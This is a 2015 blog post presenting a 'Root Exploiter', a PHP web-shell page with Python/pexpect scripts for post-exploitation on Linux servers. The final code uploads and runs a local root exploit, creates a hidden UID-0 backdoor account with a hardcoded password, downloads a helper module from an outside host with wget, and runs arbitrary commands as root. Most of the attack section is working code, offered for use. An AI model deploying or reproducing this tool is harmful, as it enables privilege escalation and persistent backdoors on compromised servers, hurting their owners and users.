[PHP][Python] Root Exploiter – No Back-Connect

Mukarram Khalid • September 23, 2015

php exploits python

Edit: This article is way past its prime, so take it with a pinch of cyber-savvy skepticism.

Lets start with a quick demo of the script.

Introduction

Have you ever had any of the following issues?

If yes, then say no more because I had similar issues a while back. But then I came across Python's libraries subprocess, pty and pexpect. I decided to explore these issues and see If we can use Python in post exploitation.

Note: Python must be available on the target machine. Obviously, we won't be able to install any fancy thrid-party packages/modules because most of em require higher privileges than a simple apache user.

Goals

We need to interact with another process/program on the target machine. For example, if I execute another program (in this case a local root exploit), I can interact with it without loosing session. If I run su – root and it asks for the password, I'd be able to provide the STDIN and read STDOUT. We cannot do this with weevely or other similar tools. To understand this concept, try to do this with weevely. You can't.

su - someUser
passwd: pass_of_someUser
Successfully logged in. 
someUser@mylinuxBox~ # (Waiting for the next command as someUser)

With this goal in mind, I started some research on processes, the subprocess PIPES and how STDIN and STDOUT actually work. To test and verify this stuff, I used a PHP shell to interact with a local web server. I uploaded a python executable with the following code:

#!/bin/python
input = raw_input('Enter your name : ')
print "You entered " + input

If I can somehow, interact with this python code using PHP interface and provide input string at the prompt and read the output, then there's hope 😀 . After some research on subprocess, popen and pipes in Python, my initial code was:

#!/bin/python
from    subprocess import Popen, PIPE, STDOUT
import  time

time.sleep(5) #Just to make sure that there's necessary delay which can close the session.

p = Popen(['python', 'my_script.py'], stdout=PIPE, stdin=PIPE, stderr=STDOUT)

output = p.communicate('makman')[0]

print output

This script actually worked. And I got this output on my PHP console interface.

Execution from web shell

After this successful try, my next goal was to execute a local root exploit on the target machine and interact with it at least to an extent where I can plant a permanent backdoor like creating another user with root privileges. I modified the previous code to :

#!/bin/python
from    subprocess import Popen, PIPE, STDOUT
import  time
import  os
import  sys

time.sleep(5)

exploit = '/tmp/ofs'
user    = 'someUser'
passwd  = 'password'
cmds    = ('useradd -ou 0 -g 0 '+user, 'echo -e "'+passwd+'\n'+passwd+'" | passwd '+user, 'whoami')

os.system('chmod +x '+exploit)
p = Popen([exploit, ''], stdout=PIPE, stdin=PIPE, stderr=STDOUT)
print p.communicate(os.linesep.join(cmds))[0]

Here /tmp/ofs was my local root exploit i.e. Ubuntu Overlay Fs Exploit and the target machine was Ubuntu 14.04 (Vulnerable kernel). This code did half the job. It executed the local root exploit and added the user. But it couldn't change the passwd. There were some issues.

Execution from web shell

These errors occurred because we know the default behaviour of passwd.

root@LHR-LT-118:~# passwd someUser
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@LHR-LT-118:

It couldn't interact with this dual passwd inputs. It entered only one. So I tried some other ways to set the passwd like.

echo -e "password\npassword" | passwd someUser
#And
echo "someUser:password" | chpasswd

It didn't work because here we were dealing with a child process (a process within a process). I also tried to spawn another shell within this process.

python -c "import pty; pty.spawn('/bin/bash')"

And tried to interact with this shell but because of it's blocking behaviour, the process hanged and terminated with no results. Finally, I came across pexpect, which is a pure python package written for versions 3.xx based on pty and subprocess. This module made it a lot easier 😀 . But now the problem was in python 2.x, this has to be installed with root privileges on the machine. In latest versions, there's no standalone file like pexpect.py which can be included and called from any other program. This is a make-install package which has to be installed.

Somewhere, a blog post suggested that the old versions of pexpect had a standalone module 😀 So I pulled an old repository of pexpect and It actually had a standalone module. Perfect 😀 . That's all I needed at this stage. Now time to do some final testing with pexpect.

To login as a different user, All I had to do was 😀 :

import pexpect_makman
child = pexpect_makman.spawn('su - makman')

child.expect('Password:')
child.sendline('makman')
child.expect('#')
child.sendline('whoami')
child.expect('#')
print child.before
child.close()

And it worked perfectly 😀 . Next, to execute a local root exploit and use that same session to add another user with root privileges.

import pexpect_makman

try:
        child = pexpect_makman.spawn('/tmp/ofs', timeout = 8)
        child.expect(' ', timeout = 5)
        child.sendline('useradd -ou 0 -g 0 someUser')
        child.expect(' ', timeout = 1)
        child.sendline('passwd someUser')
        child.expect('password:', timeout = 1)
        child.sendline('password')
        child.expect('password:', timeout = 1)
        child.sendline('password')
        out = child.read()
except:
        print 'Some exceptions were thrown.'

print 'Done. Success'

And it worked perfectly again.

Now, all I had to do was to make a PHP interface to automate all this. A PHP based user interface which can interact with the vulnerable target, automatically create necessary python libraries and modules, execute any local root exploit and If everything goes well, Interact with the target as a privileged user. My final code was 😀 :

Final Code

<?php
// By MakMan - http://www.mukarramkhalid.com

ini_set('error_reporting', 0);
ini_set('max_execution_time', 0);

$user     = "makman";
$passwd   = "makman";
$path     = "/tmp/";
$pmakman  = "pexpect_makman.py";
$pscript  = "makman_script.py";
$pexploit = "makman_script_exploit.py";
$pexpect  = "https://mukarramkhalid.com/assets/files/php-python-root-exploiter/pexpect_makman.py";
$cmd      = ( isset( $_POST["cmd"] ) ? $_POST["cmd"] : '' );
$exploit  = ( isset( $_POST["check_exploit"] ) ? $_FILES["exploit"]["name"] : '' );
$script   = "
import pexpect_makman
child = pexpect_makman.spawn('su - ".$user."', timeout = 3)
child.expect('Password:')
child.sendline('".$passwd."')
child.expect(['~#', '#'])
child.sendline('".$cmd."')
child.expect(['~#', '#'])
print child.before
child.close()
";
$script_exploit    = "
import pexpect_makman

try:    
    child = pexpect_makman.spawn('".$path.$exploit."', timeout = 8)
    child.expect(' ', timeout = 5)
    child.sendline('useradd -ou 0 -g 0 ".$user."')
    child.expect(' ', timeout = 1)
    child.sendline('passwd ".$user."')
    child.expect('password:', timeout = 1)
    child.sendline('".$passwd."')
    child.expect('password:', timeout = 1)
    child.sendline('".$passwd."')
    out = child.read()
except:
    print 'Some exceptions were thrown.'

print 'Done. Refreshing page in 2 second.'
";

?>

<!doctype html>
<html>
<head>
    <meta charset='utf-8'>
    <title>MakMan</title>
    <style type='text/css'>
    body
    {
        font:                 normal 15px Verdana;
        color:                #ffffff;
        background-color:     #000000;
    }
    textarea
    {
        width:                100%;
        height:               300px;
        resize:               none;
        overflow-y:           scroll;
    }
    pre
    {
        text-align:           center;
    }
    a
    {
        text-decoration:      none;
        color:                #ff0000;
    }
    a:hover
    {
        text-decoration:      underline;
        color:                #ff0000;
    }
    .green
    {
        font:                  normal 15px Verdana;
        color:                 #00ff00;
        text-align:            center;
    }
    .red
    {
        font:                  normal 15px Verdana;
        color:                 #ff0000;
        text-align:            center;
    }
    </style>
</head>
<body>
<pre>
+-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+
|L|o|c|a|l| |R|o|o|t| |E|x|p|l|o|i|t|e|r|
+-+-+-+-+-+ +-+-+-+-+ +-+-+-+-+-+-+-+-+-+
</pre>
<h1 class='red'>By <a href='//mukarramkhalid.com'>MakMan</a></h1>
<pre>
----------------------------------------------------------------------
</pre>
<?php

    ################################      MAKMAN_FUNCTIONS     #################################

    function download_module( $module_url, $module_path ) {
        if( !file_exists( $module_path ) || filesize($module_path) == 0 ) {
            exec( "wget ".$module_url." -O ".$module_path );
            if( !file_exists( $module_path ) || filesize($module_path) == 0 ) {
                return false;
            }
            else
                return true;
        }
        return true;
    }

    function write_script( $source, $script_path ) {
        file_put_contents( $script_path , $source );
        if( file_exists( $script_path ) )
            return true;
        else
            return false;
    }

    function format_output( $out ) {
        foreach( $out as $o ) {
            echo htmlspecialchars( preg_replace( "/\x1b\[[0-9;]*m/", "", trim( $o ) ) )."\n";
        }
    }

    function execute_cmd( $scr, $pex , $pex_path, $psc_path) {
        if( download_module( $pex, $pex_path ) ) {
            if( write_script( $scr, $psc_path ) ) {
                exec( "python ".$psc_path, $output );
                format_output( $output );
            }
            else {
                echo "Script '$psc_path' wasn't successfully written or not accessible.\nTry creating it manually.";
            }
        }
        else {
            echo "Failed to download the module.\nDownload it from $pex and create it manually here $pex_path";
        }
    }

    function execute_exploit( $exp, $scr_e, $pex, $pex_path, $psc_path ) {
        if( download_module( $pex, $pex_path ) ) {
            move_uploaded_file( $_FILES["exploit"]["tmp_name"], $exp );
            chmod( $exp, 0777 );
            if( write_script( $scr_e, $psc_path ) ) {
                exec( "python ".$psc_path, $output );
                format_output( $output );
            }
            else{
                echo "Script '$psc_path' wasn't successfully written or not accessible.\nTry creating it manually.";
            }
        }
        else {
            echo "Failed to download the module.\nDownload it from $pex and create it manually here $pex_path";
        }
    }

    function check_user( $usr ) {
        $passwd_file = file_get_contents( '/etc/passwd' );
        if( strpos( $passwd_file, $usr.":x:" ) !== false ) {
            return true;
        }
        else {
            return false;
        }
    }

    function check_os() {
        if ( strtoupper( substr( PHP_OS, 0, 3 ) ) === "WIN" ) {
            exit( "<p class='red'>Only works on Linux</p></body></html>" );
        }    
    }

    ################################      MAKMAN_MAIN     #########################################

    check_os();

    if( check_user( $user ) ) {

        echo "<p class='green'>Session (User) exists. Insert commands to execute.</p>";
        echo "<textarea>";
        if( isset( $_POST["cmd"] ) ) {
            execute_cmd( $script, $pexpect, $path.$pmakman, $path.$pscript);
        }
        echo "</textarea>";
        echo "
                <center>
                <form method='POST' action=''>
                <input name='cmd' type='text' autofocus><br>
                <input name='Submit' value='Submit' type='submit'><br>
                </form>
                </center>
            ";

    }

    else {

        if( isset( $_POST["check_exploit"] ) ) {
            echo "<textarea>";
            execute_exploit( $path.$exploit, $script_exploit, $pexpect, $path.$pmakman, $path.$pexploit );
            echo "</textarea>";
            header( "Refresh:2" );
        }
        echo "<p class='red'>Session (User) not found. Upload your local root exploit to execute.</p>";
        echo "
                <center>
                <form method='POST' action='' enctype='multipart/form-data'>
                <input name='check_exploit' type='hidden' value='1'>
                <input name='exploit' type='file'>
                <input name='Submit' value='Submit' type='submit'><br>
                </form>
                </center>
            ";

    }


?>


</body>
</html>

And now this is what it looks like.

PHP Interface

So far, I have tested this script on 5 different servers and it worked perfectly but it may not work on some very old servers which are running very old instances of python.

GitHub Repository

Root Exploiter – Part 2

In Part-2, I have explained a rather simpler approach by using a binary executable coded in C++ which will serve as an exploit handler and a persistent backdoor. Read it here [PHP][C++] Root Exploiter (Part 2) – No Back-Connect.